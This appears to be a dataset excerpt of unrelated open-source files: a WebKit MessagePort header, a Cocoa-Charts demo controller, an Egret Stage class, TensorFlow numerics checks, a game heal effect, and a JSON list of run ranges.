text
stringlengths
2
100k
meta
dict
/* * Copyright (C) 2008 Apple Inc. All Rights Reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE COMPUTER, INC. OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #ifndef MessagePort_h #define MessagePort_h #include "AtomicStringHash.h" #include "EventListener.h" #include "EventNames.h" #include "EventTarget.h" #include "MessagePortChannel.h" #include <wtf/HashMap.h> #include <wtf/OwnPtr.h> #include <wtf/PassOwnPtr.h> #include <wtf/PassRefPtr.h> #include <wtf/RefPtr.h> #include <wtf/Vector.h> namespace WebCore { class AtomicStringImpl; class Event; class Frame; class MessagePort; class ScriptExecutionContext; class String; // The overwhelmingly common case is sending a single port, so handle that efficiently with an inline buffer of size 1. typedef Vector<RefPtr<MessagePort>, 1> MessagePortArray; class MessagePort : public RefCounted<MessagePort>, public EventTarget { public: static PassRefPtr<MessagePort> create(ScriptExecutionContext& scriptExecutionContext) { return adoptRef(new MessagePort(scriptExecutionContext)); } ~MessagePort(); void postMessage(PassRefPtr<SerializedScriptValue> message, ExceptionCode&); void postMessage(PassRefPtr<SerializedScriptValue> message, const MessagePortArray*, ExceptionCode&); // FIXME: remove this when we update the ObjC bindings (bug #28774). void postMessage(PassRefPtr<SerializedScriptValue> message, MessagePort*, ExceptionCode&); void start(); void close(); void entangle(PassOwnPtr<MessagePortChannel>); PassOwnPtr<MessagePortChannel> disentangle(ExceptionCode&); // Disentangle an array of ports, returning the entangled channels. // Per section 8.3.3 of the HTML5 spec, generates an INVALID_STATE_ERR exception if any of the passed ports are null or not entangled. // Returns 0 if there is an exception, or if the passed-in array is 0/empty. static PassOwnPtr<MessagePortChannelArray> disentanglePorts(const MessagePortArray*, ExceptionCode&); // Entangles an array of channels, returning an array of MessagePorts in matching order. // Returns 0 if the passed array is 0/empty. static PassOwnPtr<MessagePortArray> entanglePorts(ScriptExecutionContext&, PassOwnPtr<MessagePortChannelArray>); void messageAvailable(); bool started() const { return m_started; } void contextDestroyed(); virtual ScriptExecutionContext* scriptExecutionContext() const; virtual MessagePort* toMessagePort() { return this; } void dispatchMessages(); using RefCounted<MessagePort>::ref; using RefCounted<MessagePort>::deref; bool hasPendingActivity(); void setOnmessage(PassRefPtr<EventListener> listener) { setAttributeEventListener(eventNames().messageEvent, listener); start(); } EventListener* onmessage() { return getAttributeEventListener(eventNames().messageEvent); } // Returns null if there is no entangled port, or if the entangled port is run by a different thread. // Returns null otherwise. // NOTE: This is used solely to enable a GC optimization. Some platforms may not be able to determine ownership of the remote port (since it may live cross-process) - those platforms may always return null. MessagePort* locallyEntangledPort(); // A port starts out its life entangled, and remains entangled until it is closed or is cloned. bool isEntangled() { return !m_closed && !isCloned(); } // A port is cloned if its entangled channel has been removed and sent to a new owner via postMessage(). bool isCloned() { return !m_entangledChannel; } private: MessagePort(ScriptExecutionContext&); virtual void refEventTarget() { ref(); } virtual void derefEventTarget() { deref(); } virtual EventTargetData* eventTargetData(); virtual EventTargetData* ensureEventTargetData(); OwnPtr<MessagePortChannel> m_entangledChannel; bool m_started; bool m_closed; ScriptExecutionContext* m_scriptExecutionContext; EventTargetData m_eventTargetData; }; } // namespace WebCore #endif // MessagePort_h
{ "pile_set_name": "Github" }
// // CCSViewController.m // Cocoa-Charts // // Created by limc on 13-05-22. // Copyright (c) 2012 limc.cn All rights reserved. // #import "CCSViewController.h" #import "CCSAppDelegate.h" #import "CCSGridChartViewController.h" #import "CCSLineChartViewController.h" #import "CCSStickChartViewController.h" #import "CCSMAStickChartViewController.h" #import "CCSCandleStickChartViewController.h" #import "CCSMACandleStickChartViewController.h" #import "CCSPieChartViewController.h" #import "CCSPizzaChartViewController.h" #import "CCSSpiderWebChartViewController.h" #import "CCSMinusStickChartViewController.h" #import "CCSMACDChartViewController.h" #import "CCSAreaChartViewController.h" #import "CCSStackedAreaChartViewController.h" #import "CCSBandAreaChartViewController.h" #import "CCSRadarChartViewController.h" #import "CCSSlipStickChartViewController.h" #import "CCSColoredStickChartViewController.h" #import "CCSSlipCandleStickChartViewController.h" #import "CCSMASlipCandleStickChartViewController.h" #import "CCSBOLLMASlipCandleStickChartViewController.h" #import "CCSSlipLineChartViewController.h" #import "CCSSimpleDemoViewController.h" #import "CCSDonutChartViewController.h" #import "CCSSampleGroupChartDemoViewController.h" #import "CCSSampleGroupChartHorizontalViewController.h" @interface CCSViewController () { } @end @implementation CCSViewController @synthesize tableView = _tableView; - (void)viewDidLoad { [super viewDidLoad]; self.tableView = [[UITableView alloc] initWithFrame:CGRectMake(0, 0, self.view.frame.size.width, self.view.frame.size.height) style:UITableViewStylePlain]; self.tableView.autoresizingMask = UIViewAutoresizingFlexibleLeftMargin | UIViewAutoresizingFlexibleTopMargin | UIViewAutoresizingFlexibleRightMargin | UIViewAutoresizingFlexibleBottomMargin | UIViewAutoresizingFlexibleHeight | UIViewAutoresizingFlexibleWidth; self.tableView.dataSource = self; self.tableView.delegate = self; [self.view addSubview:self.tableView]; } - (void)viewWillAppear:(BOOL)animated { [super viewWillAppear:animated]; self.title = @"Cocoa-Charts v0.2.1.1"; self.navigationController.navigationBarHidden = NO; // Index path for selected row NSIndexPath *selectedRow = [self.tableView indexPathForSelectedRow]; // Deselet the row with animation [self.tableView deselectRowAtIndexPath:selectedRow animated:YES]; // Scroll the selected row to the center [self.tableView scrollToRowAtIndexPath:selectedRow atScrollPosition:UITableViewScrollPositionMiddle animated:YES]; } - (void)didReceiveMemoryWarning { [super didReceiveMemoryWarning]; // Dispose of any resources that can be recreated. } - (NSInteger)numberOfSectionsInTableView:(UITableView *)tableView { return 2; } - (NSInteger)tableView:(UITableView *)tableView numberOfRowsInSection:(NSInteger)section { if (section == 0) { return 3; } else if (section == 1) { return 22; } return 0; } - (UIView *)tableView:(UITableView *)tableView viewForHeaderInSection:(NSInteger)section { if (section == 0) { UILabel *lblTitle = [[UILabel alloc] init]; lblTitle.backgroundColor = [UIColor grayColor]; lblTitle.textColor = [UIColor whiteColor]; lblTitle.text = @"Charts Demo"; return lblTitle; } else if (section == 1) { UILabel *lblTitle = [[UILabel alloc] init]; lblTitle.backgroundColor = [UIColor grayColor]; lblTitle.textColor = [UIColor whiteColor]; lblTitle.text = @"Single Chart Demo"; return lblTitle; } else { return nil; } } - (UIView *)tableView:(UITableView *)tableView viewForFooterInSection:(NSInteger)section { return nil; } - (CGFloat)tableView:(UITableView *)tableView heightForHeaderInSection:(NSInteger)section { return 22.0f; } - (CGFloat)tableView:(UITableView *)tableView heightForFooterInSection:(NSInteger)section { return 0.0f; } - (CGFloat)tableView:(UITableView *)tableView heightForRowAtIndexPath:(NSIndexPath *)indexPath { return 44.0f; } - (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath { static NSString *CellIdentifier = @"Cell"; UITableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:CellIdentifier]; if (cell == nil) { cell = [[UITableViewCell alloc] initWithStyle:UITableViewCellStyleSubtitle reuseIdentifier:CellIdentifier]; } if (indexPath.section == 0) { if (indexPath.row == 0) { cell.textLabel.text = @"Simple Demo"; }else if(indexPath.row == 1){ cell.textLabel.text = @"Simple Horizontal Demo"; }else{ cell.textLabel.text = @"Simple GroupChart Demo"; } } else { NSUInteger row = indexPath.row; // NSLog(@"%d",row); if (CCSChartTypeGridChart == row) { cell.textLabel.text = @"GridChart"; } else if (CCSChartTypeLineChart == row) { cell.textLabel.text = @"LineChart"; } else if (CCSChartTypeStickChart == row) { cell.textLabel.text = @"StickChart"; } else if (CCSChartTypeMAStickChart == row) { cell.textLabel.text = @"MAStickChart"; } else if (CCSChartTypeCandleStickChart == row) { cell.textLabel.text = @"CandleStickChart"; } else if (CCSChartTypeMACandleStickChart == row) { cell.textLabel.text = @"MACandleStickChart"; } else if (CCSChartTypePieChart == row) { cell.textLabel.text = @"PieChart"; } else if (CCSChartTypePizzaChart == row) { cell.textLabel.text = @"PizzaChart"; } else if (CCSChartTypeSpiderWebChart == row) { cell.textLabel.text = @"SpiderWebChart"; } else if (CCSChartTypeMinusStickChart == row) { cell.textLabel.text = @"MinusStickChart"; } else if (CCSChartTypeMACDChart == row) { cell.textLabel.text = @"MACDChart"; } else if (CCSChartTypeAreaChart == row) { cell.textLabel.text = @"AreaChart"; } else if (CCSChartTypeStackedAreaChart == row) { cell.textLabel.text = @"StackedAreaChart"; } else if (CCSChartTypeBandAreaChart == row) { cell.textLabel.text = @"BandAreaChart"; } else if (CCSChartTypeRadarChart == row) { cell.textLabel.text = @"RadarChart"; } else if (CCSChartTypeSlipStickChart == row) { cell.textLabel.text = @"SlipStickChart"; } else if (CCSChartTypeColoredSlipStickChart == row) { cell.textLabel.text = @"ColoredSlipStickChart"; } else if (CCSChartTypeSlipCandleStickChart == row) { cell.textLabel.text = @"SlipCandleStickChart"; } else if (CCSChartTypeMASlipCandleStickChart == row) { cell.textLabel.text = @"MASlipCandleStickChart"; } else if (CCSChartTypeBOLLMASlipCandleStickChart == row) { cell.textLabel.text = @"BOLLMASlipCandleStickChart"; } else if (CCSChartTypeSlipLineChart == row) { cell.textLabel.text = @"SlipLineChart"; } else if (CCSChartTypeDonutChart == row) { cell.textLabel.text = @"DonutChart"; } else { } } cell.accessoryType = UITableViewCellAccessoryDisclosureIndicator; return cell; } - (void)tableView:(UITableView *)tableView didSelectRowAtIndexPath:(NSIndexPath *)indexPath { UIViewController *viewController = nil; if (indexPath.section == 0) { NSUInteger row = indexPath.row; if (row == 0) { viewController = [[CCSSimpleDemoViewController alloc] init]; }else if(row == 1){ viewController = [[CCSSampleGroupChartHorizontalViewController alloc] init]; }else{ viewController = [[CCSSampleGroupChartDemoViewController alloc] init]; } } else if (indexPath.section == 1) { NSUInteger row = indexPath.row; if (CCSChartTypeGridChart == row) { viewController = [[CCSGridChartViewController alloc] init]; } else if (CCSChartTypeLineChart == row) { viewController = [[CCSLineChartViewController alloc] init]; } else if (CCSChartTypeStickChart == row) { viewController = [[CCSStickChartViewController alloc] init]; } else if (CCSChartTypeMAStickChart == row) { viewController = [[CCSMAStickChartViewController alloc] init]; } else if (CCSChartTypeCandleStickChart == row) { viewController = [[CCSCandleStickViewController alloc] init]; } else if (CCSChartTypeMACandleStickChart == row) { viewController = [[CCSMACandleStickChartViewController alloc] init]; } else if (CCSChartTypePieChart == row) { viewController = [[CCSPieChartViewController alloc] init]; } else if (CCSChartTypePizzaChart == row) { viewController = [[CCSPizzaChartViewController alloc] init]; } else if (CCSChartTypeSpiderWebChart == row) { viewController = [[CCSSpiderWebChartViewController alloc] init]; } else if (CCSChartTypeMinusStickChart == row) { viewController = [[CCSMinusStickChartViewController alloc] init]; } else if (CCSChartTypeMACDChart == row) { viewController = [[CCSMACDChartViewController alloc] init]; } else if (CCSChartTypeAreaChart == row) { viewController = [[CCSAreaChartViewController alloc] init]; } else if (CCSChartTypeStackedAreaChart == row) { viewController = [[CCSStackedAreaChartViewController alloc] init]; } else if (CCSChartTypeBandAreaChart == row) { viewController = [[CCSBandAreaChartViewController alloc] init]; } else if (CCSChartTypeRadarChart == row) { viewController = [[CCSRadarChartViewController alloc] init]; } else if (CCSChartTypeSlipStickChart == row) { viewController = [[CCSSlipStickChartViewController alloc] init]; } else if (CCSChartTypeColoredSlipStickChart == row) { viewController = [[CCSColoredStickChartViewController alloc] init]; } else if (CCSChartTypeSlipCandleStickChart == row) { viewController = [[CCSSlipCandleStickChartViewController alloc] init]; } else if (CCSChartTypeMASlipCandleStickChart == row) { viewController = [[CCSMASlipCandleStickChartViewController alloc] init]; } else if (CCSChartTypeBOLLMASlipCandleStickChart == row) { viewController = [[CCSBOLLMASlipCandleStickChartViewController alloc] init]; } else if (CCSChartTypeSlipLineChart == row) { viewController = [[CCSSlipLineChartViewController alloc] init]; } else if (CCSChartTypeDonutChart == row) { viewController = [[CCSDonutChartViewController alloc] init]; } else { } } else { return; } CCSAppDelegate *appDelegate = (CCSAppDelegate *) [UIApplication sharedApplication].delegate; if (UI_USER_INTERFACE_IDIOM() == UIUserInterfaceIdiomPhone) { UINavigationController *navigationController = (UINavigationController *) appDelegate.viewController; // if ([viewController isKindOfClass:[CCSSampleHorizontalViewController class]]) { // [[navigationController.viewControllers lastObject] presentViewController:viewController animated:YES completion:^{ // }]; // }else{ // [navigationController pushViewController:viewController animated:YES]; // } [navigationController pushViewController:viewController animated:YES]; } else if (UI_USER_INTERFACE_IDIOM() == UIUserInterfaceIdiomPad) { UISplitViewController *splitViewController = (UISplitViewController *) appDelegate.viewController; UINavigationController *navigationController = [splitViewController.viewControllers objectAtIndex:1]; [navigationController popToRootViewControllerAnimated:NO]; [navigationController pushViewController:viewController animated:YES]; } } @end
{ "pile_set_name": "Github" }
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %> <%@ taglib prefix="fmt" uri="http://java.sun.com/jsp/jstl/fmt" %>
{ "pile_set_name": "Github" }
/** * Copyright (c) 2014,Egret-Labs.org * All rights reserved. * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of the Egret-Labs.org nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY EGRET-LABS.ORG AND CONTRIBUTORS "AS IS" AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL EGRET-LABS.ORG AND CONTRIBUTORS BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ var __extends = this.__extends || function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; function __() { this.constructor = d; } __.prototype = b.prototype; d.prototype = new __(); }; var egret; (function (egret) { /** * @class egret.Stage * @classdesc Stage 类代表主绘图区。 */ var Stage = (function (_super) { __extends(Stage, _super); function Stage(width, height) { if (width === void 0) { width = 480; } if (height === void 0) { height = 800; } _super.call(this); this.touchEnabled = true; this._stage = this; this._stageWidth = width; this._stageHeight = height; } /** * 调用 invalidate() 方法后,在显示列表下次呈现时,Egret 会向每个已注册侦听 render 事件的显示对象发送一个 render 事件。 * 每次您希望 Egret 发送 render 事件时,都必须调用 invalidate() 方法。 * @method egret.Stage#invalidate */ Stage.prototype.invalidate = function () { Stage._invalidateRenderFlag = true; }; Object.defineProperty(Stage.prototype, "scaleMode", { get: function () { return this._scaleMode; }, set: function (value) { if (this._scaleMode != value) { this._scaleMode = value; var scaleModeEnum = {}; scaleModeEnum[egret.StageScaleMode.NO_SCALE] = new egret.NoScale(); scaleModeEnum[egret.StageScaleMode.SHOW_ALL] = new egret.ShowAll(); scaleModeEnum[egret.StageScaleMode.NO_BORDER] = new egret.FixedWidth(); scaleModeEnum[egret.StageScaleMode.EXACT_FIT] = new egret.FullScreen(); var content = scaleModeEnum[value]; if (!content) { throw new Error("使用了尚未实现的ScaleMode"); } var container = new egret.EqualToFrame(); var policy = new egret.ResolutionPolicy(container, content); egret.StageDelegate.getInstance()._setResolutionPolicy(policy); this._stageWidth = egret.StageDelegate.getInstance()._stageWidth; this._stageHeight = egret.StageDelegate.getInstance()._stageHeight; this.dispatchEventWith(egret.Event.RESIZE); } }, enumerable: true, configurable: true }); Object.defineProperty(Stage.prototype, "stageWidth", { /** * 舞台宽度(坐标系宽度,非设备宽度) * @member {number} egret.Stage#stageWidth */ get: function () { return this._stageWidth; }, enumerable: true, configurable: true }); Object.defineProperty(Stage.prototype, "stageHeight", { /** * 舞台高度(坐标系高度,非设备高度) * @member {number} egret.Stage#stageHeight */ get: function () { return this._stageHeight; }, enumerable: true, configurable: true }); /** * @member egret.Stage#hitTest * @see egret.DisplayObject#hitTest * @param x * @param y * @returns {egret.DisplayObject} */ Stage.prototype.hitTest = function (x, y, ignoreTouchEnabled) { if (ignoreTouchEnabled === void 0) { ignoreTouchEnabled = false; } if (!this._touchEnabled) { return null; } var result; if (!this._touchChildren) { return this; } var children = this._children; var l = children.length; for (var i = l - 1; i >= 0; i--) { var child = children[i]; var mtx = child._getMatrix(); var scrollRect = child._scrollRect; if (scrollRect) { mtx.append(1, 0, 0, 1, -scrollRect.x, -scrollRect.y); } mtx.invert(); var point = egret.Matrix.transformCoords(mtx, x, y); result = child.hitTest(point.x, point.y, true); if (result) { if (result._touchEnabled) { return result; } } } return this; }; /** * 返回舞台尺寸范围 * @member egret.Stage#getBounds * @see egret.DisplayObject#getBounds * @param resultRect {egret.Rectangle} 可选参数,传入用于保存结果的Rectangle对象,避免重复创建对象。 * @returns {egret.Rectangle} */ Stage.prototype.getBounds = function (resultRect) { if (!resultRect) { resultRect = new egret.Rectangle(); } return resultRect.initialize(0, 0, this._stageWidth, this._stageHeight); }; Stage.prototype._updateTransform = function () { for (var i = 0, length = this._children.length; i < length; i++) { var child = this._children[i]; child._updateTransform(); } }; Object.defineProperty(Stage.prototype, "focus", { get: function () { return null; }, enumerable: true, configurable: true }); Stage._invalidateRenderFlag = false; return Stage; })(egret.DisplayObjectContainer); egret.Stage = Stage; Stage.prototype.__class__ = "egret.Stage"; })(egret || (egret = {}));
{ "pile_set_name": "Github" }
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Connects all half, float and double tensors to CheckNumericsOp.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function from tensorflow.python.framework import dtypes from tensorflow.python.framework import ops from tensorflow.python.ops import array_ops from tensorflow.python.ops import control_flow_ops def verify_tensor_all_finite(t, msg, name=None): """Assert that the tensor does not contain any NaN's or Inf's. Args: t: Tensor to check. msg: Message to log on failure. name: A name for this operation (optional). Returns: Same tensor as `t`. """ with ops.name_scope(name, "VerifyFinite", [t]) as name: t = ops.convert_to_tensor(t, name="t") with ops.colocate_with(t): verify_input = array_ops.check_numerics(t, message=msg) out = control_flow_ops.with_dependencies([verify_input], t) return out def add_check_numerics_ops(): """Connect a `check_numerics` to every floating point tensor. `check_numerics` operations themselves are added for each `half`, `float`, or `double` tensor in the graph. For all ops in the graph, the `check_numerics` op for all of its (`half`, `float`, or `double`) inputs is guaranteed to run before the `check_numerics` op on any of its outputs. Note: This API is not compatible with the use of @{tf.cond} or @{tf.while_loop}, and will raise a `ValueError` if you attempt to call it in such a graph. Returns: A `group` op depending on all `check_numerics` ops added. Raises: ValueError: If the graph contains any numeric operations in a control flow structure. """ check_op = [] # This code relies on the ordering of ops in get_operations(). # The producer of a tensor always comes before that tensor's consumer in # this list. This is true because get_operations() returns ops in the order # added, and an op can only be added after its inputs are added. for op in ops.get_default_graph().get_operations(): for output in op.outputs: if output.dtype in [dtypes.float16, dtypes.float32, dtypes.float64]: if op._get_control_flow_context() is not None: # pylint: disable=protected-access raise ValueError("`tf.add_check_numerics_ops() is not compatible " "with TensorFlow control flow operations such as " "`tf.cond()` or `tf.while_loop()`.") message = op.name + ":" + str(output.value_index) with ops.control_dependencies(check_op): check_op = [array_ops.check_numerics(output, message=message)] return control_flow_ops.group(*check_op)
{ "pile_set_name": "Github" }
// // EffectHeal.m // WizardWar // // Created by Sean Hess on 6/13/13. // Copyright (c) 2013 The LAB. All rights reserved. // #import "PEHeal.h" #import "Wizard.h" @implementation PEHeal -(id)init { self = [super init]; if (self) { self.cancelsOnCast = YES; self.cancelsOnHit = YES; } return self; } +(id)delay:(NSTimeInterval)delay { PEHeal * heal = [PEHeal new]; heal.delay = delay; return heal; } // ok, so I need to check to see if they've waited long enough to heal // it can only heal ONE heart // if you get hit in the meantime it doesn't work -(BOOL)simulateTick:(NSInteger)currentTick interval:(NSTimeInterval)interval player:(Wizard*)wizard { NSInteger ticksPerHeal = round(self.delay / interval); NSInteger elapsedTicks = (currentTick - wizard.effectStartTick); if (elapsedTicks >= ticksPerHeal) { wizard.effect = nil; wizard.health += 1; if (wizard.health > MAX_HEALTH) wizard.health = MAX_HEALTH; return YES; } return NO; } @end
{ "pile_set_name": "Github" }
{"160404": [[15, 24]], "160405": [[1, 35]], "160406": [[1, 124]], "160410": [[1, 102]], "160413": [[1, 788]], "160431": [[19, 244]], "160432": [[2, 79]], "160433": [[1, 21]], "160442": [[108, 153]], "160443": [[1, 21]], "160444": [[1, 74]], "160445": [[1, 37]], "160446": [[1, 55]], "160447": [[1, 65]], "160449": [[1, 44]], "160450": [[1, 47]], "160454": [[1, 41]], "160455": [[1, 33]], "160456": [[1, 106]], "160462": [[1, 30]], "160463": [[1, 46]], "160497": [[38, 148], [152, 398]], "160498": [[1, 70]], "160499": [[1, 16]], "160577": [[14, 337]], "160578": [[1, 456]], "160579": [[1, 181]], "160808": [[7, 80]], "160815": [[1, 95]], "160819": [[1, 17], [19, 118]], "160827": [[1, 55]], "160835": [[1, 85], [87, 496], [569, 584]], "160853": [[62, 65]], "160871": [[68, 236]], "160872": [[1, 77]], "160873": [[1, 201]], "160874": [[1, 132]], "160875": [[1, 285]], "160876": [[1, 17]], "160877": [[1, 12], [79, 83]], "160888": [[45, 423]], "160890": [[1, 395]], "160894": [[1, 220]], "160898": [[25, 53]], "160907": [[15, 220]], "160911": [[1, 301]], "160913": [[1, 26]], "160914": [[1, 75]], "160915": [[1, 382]], "160916": [[1, 90]], "160935": [[33, 259]], "160936": [[1, 60]], "160937": [[1, 209]], "160938": [[1, 130]], "160939": [[1, 148]], "160940": [[1, 90]], "160942": [[1, 26]], "160943": [[1, 54]], "160954": [[78, 84]], "160955": [[1, 228]], "160956": [[1, 73]], "160957": [[1, 953]], "160994": [[44, 45]], "160998": [[1, 288]], "161008": [[1, 285]], "161016": [[1, 327]], "161020": [[1, 22]], "161103": [[1, 111]], "161106": [[1, 40]], "161107": [[1, 40]], "161113": [[1, 45]], "161116": [[1, 20]], "161117": [[1, 43]], "161119": [[1, 350]], "161156": [[1, 90]], "161165": [[1, 100]], "161176": [[1, 31]], "161216": [[29, 53]], "161217": [[1, 788]], "161222": [[1, 136]], "161223": [[1, 409]], "161224": [[1, 2]], "161233": [[33, 63]], "161310": [[39, 127]], "161311": [[1, 704]], "161312": [[1, 1027]], "162718": [[1, 202]], "162733": [[1, 47]], "162739": [[1, 35], [37, 42]], "162742": [[1, 85], [97, 127]], "162760": [[1, 56]], "162762": [[1, 111]], "162765": [[1, 66]], "162803": [[60, 148]], "162808": [[1, 63]], "162810": [[1, 40]], "162811": [[1, 347]], "162822": [[73, 314]], "162825": [[1, 202]], "162826": [[1, 43]], "162827": [[1, 144]], "162828": [[1, 85]], "162909": [[54, 299]], "162917": [[122, 134]], "162924": [[69, 151]], "162925": [[1, 319]], "162926": [[1, 714]], "162929": [[1, 299], [358, 433]], "163045": [[51, 56]], "163046": [[1, 247], [311, 313]], "163069": [[73, 648]], "163071": [[1, 194]], "163072": [[1, 44]], "163078": [[1, 23]], "163232": [[110, 174]], "163233": [[1, 302]], "163234": [[1, 73]], "163235": [[1, 474]], "163237": [[1, 220]], "163238": [[1, 15]], "163252": [[60, 157]], "163255": [[1, 1067]], "163261": [[1, 126]], "163269": [[59, 222]], "163270": [[1, 928]], "163286": [[112, 411]], "163289": [[1, 388]], "163296": [[59, 603]], "163297": [[1, 227]], "163300": [[1, 623]], "163301": [[1, 198]], "163302": [[1, 253]], "163308": [[1, 27]], "163332": [[43, 812]], "163333": [[1, 113]], "163334": [[1, 563]], "163337": [[1, 476]], "163338": [[1, 171]], "163339": [[1, 188]], "163340": [[1, 488], [554, 563]], "163358": [[39, 63]], "163369": [[1, 105]], "163370": [[1, 176]], "163371": [[1, 375]], "163372": [[1, 111]], "163374": [[1, 873]], "163375": [[1, 16]], "163376": [[1, 253]], "163378": [[1, 615]], "163385": [[52, 436]], "163387": [[1, 256], [278, 287]], "163402": [[37, 801]], "163475": [[30, 306]], "163476": [[1, 235]], "163478": [[1, 83]], "163479": [[1, 187]], "163480": [[1, 199]], "163481": [[1, 90]], "163482": [[1, 58]], "163483": [[1, 57]], "163581": [[40, 45]], "163582": [[1, 66]], "163583": [[1, 233]], "163584": [[1, 85]], "163585": [[1, 42]], "163586": [[1, 103]], "163587": [[1, 85]], "163588": [[1, 455]], "163589": [[1, 167]], "163591": [[1, 96]], "163592": [[1, 116]], "163593": [[1, 25]], "163596": [[1, 29]], "163630": [[76, 185]], "163655": [[15, 47]], "163657": [[1, 153]], "163658": [[1, 18]], "163659": [[1, 718]], "163660": [[1, 85]], "163661": [[1, 27]], "163662": [[1, 176]], "163663": [[1, 251]], "163664": [[1, 189]], "163665": [[1, 176]], "163668": [[1, 213], [255, 308]], "163738": [[34, 311]], "163753": [[1, 137]], "163754": [[1, 79]], "163757": [[1, 47]], "163758": [[1, 600]], "163759": [[1, 526]], "163760": [[1, 363]], "163761": [[1, 229]], "163763": [[1, 93]], "163765": [[1, 321]], "163795": [[10, 54]], "163796": [[1, 182]], "163817": [[50, 980]], "163869": [[79, 137]], "165098": [[188, 189], [194, 194], [249, 249], [255, 255], [332, 332], [368, 368], [416, 440]], "165099": [[107, 126]], "165120": [[99, 109]], "165205": [[249, 260]], "165364": [[112, 113], [808, 808], [1331, 1352]], "165400": [[80, 88]], "165415": [[641, 642], [708, 711], [778, 779]], "165467": [[710, 736]], "165472": [[185, 185]], "165486": [[103, 118]], "165487": [[152, 154]], "165506": [[171, 171]], "165514": [[568, 570]], "165523": [[60, 92]], "165525": [[33, 68]], "165537": [[297, 304]], "165542": [[176, 189]], "165548": [[364, 364], [590, 630]], "165567": [[110, 113], [310, 314], [632, 637]], "165570": [[3, 4], [84, 87], [947, 947]], "165617": [[53, 53], [144, 144], [289, 291]], "165619": [[1, 23]], "165620": [[1, 63]], "165633": [[56, 113], [318, 318]], "166010": [[174, 175], [179, 180]], "166033": [[1234, 1244]], "166034": [[363, 363]], "166049": [[886, 887], [918, 918]], "166149": [[3, 24]], "166161": [[121, 121], [124, 125], [127, 128]], "166163": [[13, 13], [35, 35]], "166374": [[65, 65], [189, 193]], "166377": [[57, 57]], "166380": [[712, 714]], "166438": [[32, 867]], "166486": [[96, 96]], "166512": [[431, 431], [1280, 1280], [1819, 1820], [1863, 1867], [1869, 1869], [1872, 1872], [1875, 1876]], "166514": [[465, 465]], "166554": [[288, 289], [318, 319], [731, 731], [735, 735], [737, 738]], "166565": [[1, 898]], "166699": [[55, 915]], "166701": [[1, 792]], "166763": [[46, 650]], "166781": [[41, 111], [115, 115], [117, 387]], "166782": [[1, 572]], "166784": [[1, 365]], "166787": [[1, 364]], "166839": [[43, 303]], "166841": [[1, 1017]], "166842": [[1, 170]], "166859": [[62, 425]], "166860": [[1, 25]], "166861": [[1, 44]], "166862": [[1, 5]], "166863": [[1, 3]], "166864": [[1, 537]], "166888": [[56, 476]], "166889": [[1, 231]], "166890": [[1, 446]], "166893": [[1, 3]], "166894": [[1, 203]], "166895": [[1, 603]], "166911": [[58, 104]], "166921": [[39, 68]], "166922": [[1, 776]], "166923": [[1, 470]], "166946": [[41, 208]], "166950": [[1, 1439]], "166960": [[1, 184]], "166966": [[1, 240]], "166967": [[1, 220]], "167039": [[20, 238]], "167041": [[1, 667]], "167043": [[1, 235]], "167078": [[40, 175]], "167098": [[62, 463]], "167102": [[1, 430]], "167103": [[1, 95]], "167151": [[1, 51]], "167281": [[18, 595]], "167282": [[1, 451]], "167284": [[1, 1645]]}
{ "pile_set_name": "Github" }
